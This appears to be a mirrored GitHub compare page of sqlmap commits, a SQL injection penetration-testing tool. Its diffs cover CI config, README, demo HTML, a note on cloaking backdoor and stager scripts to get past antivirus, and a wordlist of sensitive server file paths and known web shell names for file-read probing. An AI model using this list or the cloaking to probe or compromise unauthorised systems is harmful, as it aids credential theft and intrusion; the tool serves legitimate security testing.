mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 04:31:30 +00:00
Compare commits
212 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78ba33737e | ||
|
|
c6557e2b45 | ||
|
|
fa17cfb606 | ||
|
|
40623e780a | ||
|
|
35862bf4c8 | ||
|
|
5d6def425a | ||
|
|
7066e7ce97 | ||
|
|
8dad7dd12d | ||
|
|
6b7c3a2f81 | ||
|
|
e9b3af6b9a | ||
|
|
194c911433 | ||
|
|
e621d7ec6a | ||
|
|
854507bc85 | ||
|
|
82eec780a2 | ||
|
|
de55be3afe | ||
|
|
4d2b890a0a | ||
|
|
c243c5fe0d | ||
|
|
a35fc713a2 | ||
|
|
97b7dc585c | ||
|
|
c5a5717add | ||
|
|
fe4e79511a | ||
|
|
1d5bde9cdf | ||
|
|
227a23f091 | ||
|
|
0ff3b1ce70 | ||
|
|
7e483ffd7a | ||
|
|
a5852390f7 | ||
|
|
73d0c67a80 | ||
|
|
8e9f7e90c3 | ||
|
|
f6bf331b8f | ||
|
|
585645e806 | ||
|
|
673a5afe07 | ||
|
|
c9a8b915c8 | ||
|
|
9645aaa33f | ||
|
|
e556876fe6 | ||
|
|
0524670cf9 | ||
|
|
96a2c91701 | ||
|
|
5029d67e4f | ||
|
|
5af64f5ae4 | ||
|
|
bc981c517b | ||
|
|
87ad11dffb | ||
|
|
3663fa936b | ||
|
|
4687383a44 | ||
|
|
62cfd47b83 | ||
|
|
2bf22df53a | ||
|
|
0585a55ee0 | ||
|
|
babe52eb10 | ||
|
|
231c3da057 | ||
|
|
13a2ab3fa3 | ||
|
|
21cc6e3c99 | ||
|
|
a2a73b88ea | ||
|
|
210a4c3a0a | ||
|
|
15225668d0 | ||
|
|
c1bf36b876 | ||
|
|
229f89004b | ||
|
|
443b1f2ed5 | ||
|
|
60f4520020 | ||
|
|
7460b87f1d | ||
|
|
5d08b9004e | ||
|
|
c2b9e539ae | ||
|
|
3d8eb62a59 | ||
|
|
d51e45fd34 | ||
|
|
3258e29cf9 | ||
|
|
e0ea1ab5e9 | ||
|
|
192ca02c41 | ||
|
|
f0bbbb0918 | ||
|
|
f6857d4ee4 | ||
|
|
a1342e04a5 | ||
|
|
7963281c41 | ||
|
|
715063f0d4 | ||
|
|
1658331810 | ||
|
|
bfe93e20c5 | ||
|
|
bcea050f22 | ||
|
|
c4a692abe3 | ||
|
|
b42b62ae38 | ||
|
|
a7f20c1d67 | ||
|
|
f781367ac1 | ||
|
|
1bec3a953c | ||
|
|
66e07dfab6 | ||
|
|
226d467f6d | ||
|
|
ea5ae44b6c | ||
|
|
95b9a47c6f | ||
|
|
e05f65628d | ||
|
|
609545176f | ||
|
|
8de4820b24 | ||
|
|
df5fabbbbb | ||
|
|
0c48d0dbec | ||
|
|
5108c2d06c | ||
|
|
603d602550 | ||
|
|
907786edb8 | ||
|
|
85b73f872e | ||
|
|
a42ec7d9cb | ||
|
|
b3f4c6d0fc | ||
|
|
cec65f3a27 | ||
|
|
cc79ae69aa | ||
|
|
5a9dc15cf2 | ||
|
|
f1fd080ba5 | ||
|
|
cfe9fb4f5b | ||
|
|
7a55c9c145 | ||
|
|
4077a359f4 | ||
|
|
435fd49f1d | ||
|
|
bcfd9c3f48 | ||
|
|
39c320c29b | ||
|
|
b719b9612f | ||
|
|
84bc2640d1 | ||
|
|
fced29a242 | ||
|
|
2e5e958d3f | ||
|
|
1e30471d3d | ||
|
|
10b93d753d | ||
|
|
1280abc25c | ||
|
|
c47061f25d | ||
|
|
9b871f1093 | ||
|
|
0ba07e93d5 | ||
|
|
ce50acf69d | ||
|
|
9f0ff27c26 | ||
|
|
ecafac5cd2 | ||
|
|
f39869992c | ||
|
|
e910fc6b8b | ||
|
|
6375f9e506 | ||
|
|
8e649dc3f7 | ||
|
|
a6ce91a3e2 | ||
|
|
408862b040 | ||
|
|
fc4dec7291 | ||
|
|
274a6e62da | ||
|
|
aa7c548376 | ||
|
|
6b7a1dfd94 | ||
|
|
67f918f6ad | ||
|
|
a65e1faf99 | ||
|
|
ff48e1d820 | ||
|
|
0094f02fb0 | ||
|
|
459130196a | ||
|
|
0a8a65bc0b | ||
|
|
5d370f2fa1 | ||
|
|
1296336e18 | ||
|
|
75b3736467 | ||
|
|
282eb7e533 | ||
|
|
f28d82c119 | ||
|
|
74603c5530 | ||
|
|
050700f079 | ||
|
|
31bf1fc6b6 | ||
|
|
d4d83b29f0 | ||
|
|
596fff48ad | ||
|
|
56ff081314 | ||
|
|
69421b4806 | ||
|
|
3910b86853 | ||
|
|
bbdedb39f9 | ||
|
|
d0be782ece | ||
|
|
16c8673e98 | ||
|
|
1dedc36d85 | ||
|
|
c1d46c95ed | ||
|
|
d5fc2c9350 | ||
|
|
c28ad8fcd8 | ||
|
|
2d06543cac | ||
|
|
6a1e0fb497 | ||
|
|
5c650e15a9 | ||
|
|
c97a814d26 | ||
|
|
a58d08c7e4 | ||
|
|
9c503873ad | ||
|
|
03dfd6b4d5 | ||
|
|
d5a2ffc8ce | ||
|
|
ddf8b1b198 | ||
|
|
9a36357c52 | ||
|
|
667e4d00f2 | ||
|
|
788dcbf077 | ||
|
|
a851dc486a | ||
|
|
9077734ec5 | ||
|
|
7b49c46906 | ||
|
|
317bc0f69c | ||
|
|
c7bdf27542 | ||
|
|
b334b6b742 | ||
|
|
aa812effe7 | ||
|
|
99e2a26a8d | ||
|
|
01edcbf71d | ||
|
|
0b93311ef2 | ||
|
|
4f3f43d8bb | ||
|
|
4582948aac | ||
|
|
3729b76c14 | ||
|
|
a8c3d17583 | ||
|
|
3c36b186ad | ||
|
|
075fa1d4be | ||
|
|
5be407edad | ||
|
|
7ab82de80f | ||
|
|
93399ab1b3 | ||
|
|
87bccf4aa7 | ||
|
|
1c179674d8 | ||
|
|
7a6433b9ef | ||
|
|
4e7f0b10d5 | ||
|
|
0351b4a939 | ||
|
|
3c93872d53 | ||
|
|
881d767df8 | ||
|
|
1156b53eee | ||
|
|
5cacf20eb5 | ||
|
|
1825390951 | ||
|
|
7815f88027 | ||
|
|
f63a92a272 | ||
|
|
e3b3dea46c | ||
|
|
55595edce2 | ||
|
|
aaa0c5c6a8 | ||
|
|
57bb710ae6 | ||
|
|
ce9285381d | ||
|
|
dad4879200 | ||
|
|
2cba4e2d78 | ||
|
|
8ec165d688 | ||
|
|
492fbae7c5 | ||
|
|
a8d81a7962 | ||
|
|
fcb2a6e111 | ||
|
|
2e7333d7c8 | ||
|
|
5fd2598da0 | ||
|
|
111201978c | ||
|
|
41bdb93655 | ||
|
|
6cd0b1120f | ||
|
|
97ccf4ca66 | ||
|
|
8cc516dc5f |
@@ -11,7 +11,6 @@ jobs:
|
||||
dist: trusty
|
||||
- python: 3.9-dev
|
||||
dist: bionic
|
||||
sudo: false
|
||||
git:
|
||||
depth: 1
|
||||
script:
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||
|
||||
**The sqlmap project is currently searching for sponsor(s).**
|
||||
**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
|
||||
|
||||
Screenshots
|
||||
----
|
||||
|
||||
@@ -1,150 +1,151 @@
|
||||
<!DOCTYPE html>
|
||||
<!DOCTYPE html>
|
||||
|
||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||
|
||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
<style>
|
||||
#wrapper { width: 100%; }
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 0 0 250px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||
.sidebar .sidebar-search { padding: 15px; }
|
||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||
|
||||
.sidebar ul li a.active { background-color: #eee; }
|
||||
|
||||
.sidebar .arrow { float: right;}
|
||||
.sidebar .fa.arrow:before { content: "f104";}
|
||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<div id="wrapper">
|
||||
|
||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||
<div class="navbar-header">
|
||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||
<span class="sr-only">Toggle navigation</span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
</button>
|
||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||
</div>
|
||||
|
||||
<div class="navbar-default sidebar" role="navigation">
|
||||
<div class="sidebar-nav navbar-collapse">
|
||||
<ul class="nav" id="side-menu">
|
||||
<li>
|
||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
||||
<ul class="nav nav-second-level">
|
||||
<li><a>Target</a></li>
|
||||
<li><a>Request</a></li>
|
||||
<li><a>Optimization</a></li>
|
||||
<li><a>Injection</a></li>
|
||||
<li><a>Detection</a></li>
|
||||
<li><a>Techniques</a></li>
|
||||
<li><a>Fingerprint</a></li>
|
||||
<li><a>Enumeration</a></li>
|
||||
<li><a>Brute force</a></li>
|
||||
<li><a>User-defined function injection</a></li>
|
||||
<li><a>File system access</a></li>
|
||||
<li><a>Operating system access</a></li>
|
||||
<li><a>Windows registry access</a></li>
|
||||
<li><a>General</a></li>
|
||||
<li><a>Miscellaneous</a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<h4>DEMO</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/*
|
||||
* metismenu - v1.0.3
|
||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||
* https://github.com/onokumus/metisMenu
|
||||
*
|
||||
* Made by Osman Nuri Okumuş
|
||||
* Under MIT License
|
||||
*/
|
||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||
|
||||
$(function() {
|
||||
|
||||
$('#side-menu').metisMenu();
|
||||
|
||||
});
|
||||
|
||||
//Loads the correct sidebar on window load,
|
||||
//collapses the sidebar on window resize.
|
||||
// Sets the min-height of #page-wrapper to window size
|
||||
$(function() {
|
||||
$(window).bind("load resize", function() {
|
||||
topOffset = 50;
|
||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||
if (width < 768) {
|
||||
$('div.navbar-collapse').addClass('collapse')
|
||||
topOffset = 100; // 2-row-menu
|
||||
} else {
|
||||
$('div.navbar-collapse').removeClass('collapse')
|
||||
}
|
||||
|
||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||
height = height - topOffset;
|
||||
if (height < 1) height = 1;
|
||||
if (height > topOffset) {
|
||||
$("#page-wrapper").css("min-height", (height) + "px");
|
||||
}
|
||||
})
|
||||
});
|
||||
</script>
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||
</body>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<title>DEMO</title>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
||||
|
||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
<style>
|
||||
#wrapper { width: 100%; }
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 0 0 250px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
||||
.sidebar .sidebar-search { padding: 15px; }
|
||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
||||
|
||||
.sidebar ul li a.active { background-color: #eee; }
|
||||
|
||||
.sidebar .arrow { float: right;}
|
||||
.sidebar .fa.arrow:before { content: "f104";}
|
||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<div id="wrapper">
|
||||
|
||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
||||
<div class="navbar-header">
|
||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
||||
<span class="sr-only">Toggle navigation</span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
<span class="icon-bar"></span>
|
||||
</button>
|
||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
||||
</div>
|
||||
|
||||
<div class="navbar-default sidebar" role="navigation">
|
||||
<div class="sidebar-nav navbar-collapse">
|
||||
<ul class="nav" id="side-menu">
|
||||
<li>
|
||||
<a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
|
||||
<ul class="nav nav-second-level">
|
||||
<li><a>Target</a></li>
|
||||
<li><a>Request</a></li>
|
||||
<li><a>Optimization</a></li>
|
||||
<li><a>Injection</a></li>
|
||||
<li><a>Detection</a></li>
|
||||
<li><a>Techniques</a></li>
|
||||
<li><a>Fingerprint</a></li>
|
||||
<li><a>Enumeration</a></li>
|
||||
<li><a>Brute force</a></li>
|
||||
<li><a>User-defined function injection</a></li>
|
||||
<li><a>File system access</a></li>
|
||||
<li><a>Operating system access</a></li>
|
||||
<li><a>Windows registry access</a></li>
|
||||
<li><a>General</a></li>
|
||||
<li><a>Miscellaneous</a></li>
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<h4>DEMO</h4>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
/*
|
||||
* metismenu - v1.0.3
|
||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
||||
* https://github.com/onokumus/metisMenu
|
||||
*
|
||||
* Made by Osman Nuri Okumuş
|
||||
* Under MIT License
|
||||
*/
|
||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
||||
|
||||
$(function() {
|
||||
|
||||
$('#side-menu').metisMenu();
|
||||
|
||||
});
|
||||
|
||||
//Loads the correct sidebar on window load,
|
||||
//collapses the sidebar on window resize.
|
||||
// Sets the min-height of #page-wrapper to window size
|
||||
$(function() {
|
||||
$(window).bind("load resize", function() {
|
||||
topOffset = 50;
|
||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
||||
if (width < 768) {
|
||||
$('div.navbar-collapse').addClass('collapse')
|
||||
topOffset = 100; // 2-row-menu
|
||||
} else {
|
||||
$('div.navbar-collapse').removeClass('collapse')
|
||||
}
|
||||
|
||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
||||
height = height - topOffset;
|
||||
if (height < 1) height = 1;
|
||||
if (height > topOffset) {
|
||||
$("#page-wrapper").css("min-height", (height) + "px");
|
||||
}
|
||||
})
|
||||
});
|
||||
</script>
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||
|
||||
To prepare the original scripts to the cloaked form use this command:
|
||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||
|
||||
To get back them into the original form use this:
|
||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -679,17 +679,6 @@
|
||||
|
||||
/.htaccess
|
||||
/.htpasswd
|
||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/[jboss]/server/default/conf/jboss-service.xml
|
||||
/[jboss]/server/default/conf/jndi.properties
|
||||
/[jboss]/server/default/conf/log4j.xml
|
||||
/[jboss]/server/default/conf/login-config.xml
|
||||
/[jboss]/server/default/conf/server.log.properties
|
||||
/[jboss]/server/default/conf/standardjaws.xml
|
||||
/[jboss]/server/default/conf/standardjboss.xml
|
||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/[jboss]/server/default/log/boot.log
|
||||
/[jboss]/server/default/log/server.log
|
||||
/access.log
|
||||
/access_log
|
||||
/apache/conf/httpd.conf
|
||||
@@ -1024,17 +1013,17 @@
|
||||
/mysql/my.cnf
|
||||
/mysql/my.ini
|
||||
/netserver/bin/stable/apache/php.ini
|
||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
||||
/opt/[jboss]/server/default/conf/jndi.properties
|
||||
/opt/[jboss]/server/default/conf/log4j.xml
|
||||
/opt/[jboss]/server/default/conf/login-config.xml
|
||||
/opt/[jboss]/server/default/conf/server.log.properties
|
||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/opt/[jboss]/server/default/log/boot.log
|
||||
/opt/[jboss]/server/default/log/server.log
|
||||
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||
/opt/jboss/server/default/conf/jboss-service.xml
|
||||
/opt/jboss/server/default/conf/jndi.properties
|
||||
/opt/jboss/server/default/conf/log4j.xml
|
||||
/opt/jboss/server/default/conf/login-config.xml
|
||||
/opt/jboss/server/default/conf/server.log.properties
|
||||
/opt/jboss/server/default/conf/standardjaws.xml
|
||||
/opt/jboss/server/default/conf/standardjboss.xml
|
||||
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||
/opt/jboss/server/default/log/boot.log
|
||||
/opt/jboss/server/default/log/server.log
|
||||
/opt/apache/apache.conf
|
||||
/opt/apache/apache2.conf
|
||||
/opt/apache/conf/apache.conf
|
||||
@@ -1075,17 +1064,6 @@
|
||||
/private/etc/httpd/httpd.conf
|
||||
/private/etc/httpd/httpd.conf.default
|
||||
/private/etc/squirrelmail/config/config.php
|
||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/private/tmp/[jboss]/server/default/log/boot.log
|
||||
/private/tmp/[jboss]/server/default/log/server.log
|
||||
/proc/cpuinfo
|
||||
/proc/devices
|
||||
/proc/meminfo
|
||||
@@ -1114,17 +1092,17 @@
|
||||
/proc/self/stat
|
||||
/proc/self/status
|
||||
/proc/version
|
||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
||||
/program files/[jboss]/server/default/conf/jndi.properties
|
||||
/program files/[jboss]/server/default/conf/log4j.xml
|
||||
/program files/[jboss]/server/default/conf/login-config.xml
|
||||
/program files/[jboss]/server/default/conf/server.log.properties
|
||||
/program files/[jboss]/server/default/conf/standardjaws.xml
|
||||
/program files/[jboss]/server/default/conf/standardjboss.xml
|
||||
/program files/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/program files/[jboss]/server/default/log/boot.log
|
||||
/program files/[jboss]/server/default/log/server.log
|
||||
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||
/program files/jboss/server/default/conf/jboss-service.xml
|
||||
/program files/jboss/server/default/conf/jndi.properties
|
||||
/program files/jboss/server/default/conf/log4j.xml
|
||||
/program files/jboss/server/default/conf/login-config.xml
|
||||
/program files/jboss/server/default/conf/server.log.properties
|
||||
/program files/jboss/server/default/conf/standardjaws.xml
|
||||
/program files/jboss/server/default/conf/standardjboss.xml
|
||||
/program files/jboss/server/default/deploy/jboss-logging.xml
|
||||
/program files/jboss/server/default/log/boot.log
|
||||
/program files/jboss/server/default/log/server.log
|
||||
/program files/apache group/apache/apache.conf
|
||||
/program files/apache group/apache/apache2.conf
|
||||
/program files/apache group/apache/conf/apache.conf
|
||||
@@ -1177,17 +1155,17 @@
|
||||
/system/library/webobjects/adaptors/apache2.2/apache.conf
|
||||
/temp/sess_
|
||||
/thttpd_log
|
||||
/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/tmp/[jboss]/server/default/conf/jboss-service.xml
|
||||
/tmp/[jboss]/server/default/conf/jndi.properties
|
||||
/tmp/[jboss]/server/default/conf/log4j.xml
|
||||
/tmp/[jboss]/server/default/conf/login-config.xml
|
||||
/tmp/[jboss]/server/default/conf/server.log.properties
|
||||
/tmp/[jboss]/server/default/conf/standardjaws.xml
|
||||
/tmp/[jboss]/server/default/conf/standardjboss.xml
|
||||
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/tmp/[jboss]/server/default/log/boot.log
|
||||
/tmp/[jboss]/server/default/log/server.log
|
||||
/tmp/jboss/server/default/conf/jboss-minimal.xml
|
||||
/tmp/jboss/server/default/conf/jboss-service.xml
|
||||
/tmp/jboss/server/default/conf/jndi.properties
|
||||
/tmp/jboss/server/default/conf/log4j.xml
|
||||
/tmp/jboss/server/default/conf/login-config.xml
|
||||
/tmp/jboss/server/default/conf/server.log.properties
|
||||
/tmp/jboss/server/default/conf/standardjaws.xml
|
||||
/tmp/jboss/server/default/conf/standardjboss.xml
|
||||
/tmp/jboss/server/default/deploy/jboss-logging.xml
|
||||
/tmp/jboss/server/default/log/boot.log
|
||||
/tmp/jboss/server/default/log/server.log
|
||||
/tmp/access.log
|
||||
/tmp/sess_
|
||||
/usr/apache/conf/httpd.conf
|
||||
@@ -1202,17 +1180,17 @@
|
||||
/usr/lib/php.ini
|
||||
/usr/lib/php/php.ini
|
||||
/usr/lib/security/mkuser.default
|
||||
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
|
||||
/usr/local/[jboss]/server/default/conf/jboss-service.xml
|
||||
/usr/local/[jboss]/server/default/conf/jndi.properties
|
||||
/usr/local/[jboss]/server/default/conf/log4j.xml
|
||||
/usr/local/[jboss]/server/default/conf/login-config.xml
|
||||
/usr/local/[jboss]/server/default/conf/server.log.properties
|
||||
/usr/local/[jboss]/server/default/conf/standardjaws.xml
|
||||
/usr/local/[jboss]/server/default/conf/standardjboss.xml
|
||||
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
|
||||
/usr/local/[jboss]/server/default/log/boot.log
|
||||
/usr/local/[jboss]/server/default/log/server.log
|
||||
/usr/local/jboss/server/default/conf/jboss-minimal.xml
|
||||
/usr/local/jboss/server/default/conf/jboss-service.xml
|
||||
/usr/local/jboss/server/default/conf/jndi.properties
|
||||
/usr/local/jboss/server/default/conf/log4j.xml
|
||||
/usr/local/jboss/server/default/conf/login-config.xml
|
||||
/usr/local/jboss/server/default/conf/server.log.properties
|
||||
/usr/local/jboss/server/default/conf/standardjaws.xml
|
||||
/usr/local/jboss/server/default/conf/standardjboss.xml
|
||||
/usr/local/jboss/server/default/deploy/jboss-logging.xml
|
||||
/usr/local/jboss/server/default/log/boot.log
|
||||
/usr/local/jboss/server/default/log/server.log
|
||||
/usr/local/apache/apache.conf
|
||||
/usr/local/apache/apache2.conf
|
||||
/usr/local/apache/conf/access.conf
|
||||
@@ -1801,4 +1779,21 @@
|
||||
/etc/httpd/conf.d/squirrelmail.conf
|
||||
/usr/share/squirrelmail/config/config.php
|
||||
/private/etc/squirrelmail/config/config.php
|
||||
/srv/www/htdos/squirrelmail/config/config.php
|
||||
/srv/www/htdos/squirrelmail/config/config.php
|
||||
|
||||
# Web shells
|
||||
|
||||
/var/www/html/backdoor.php
|
||||
/var/www/html/b374k.php
|
||||
/var/www/html/c99.php
|
||||
/var/www/html/cmd.php
|
||||
/var/www/html/r57.php
|
||||
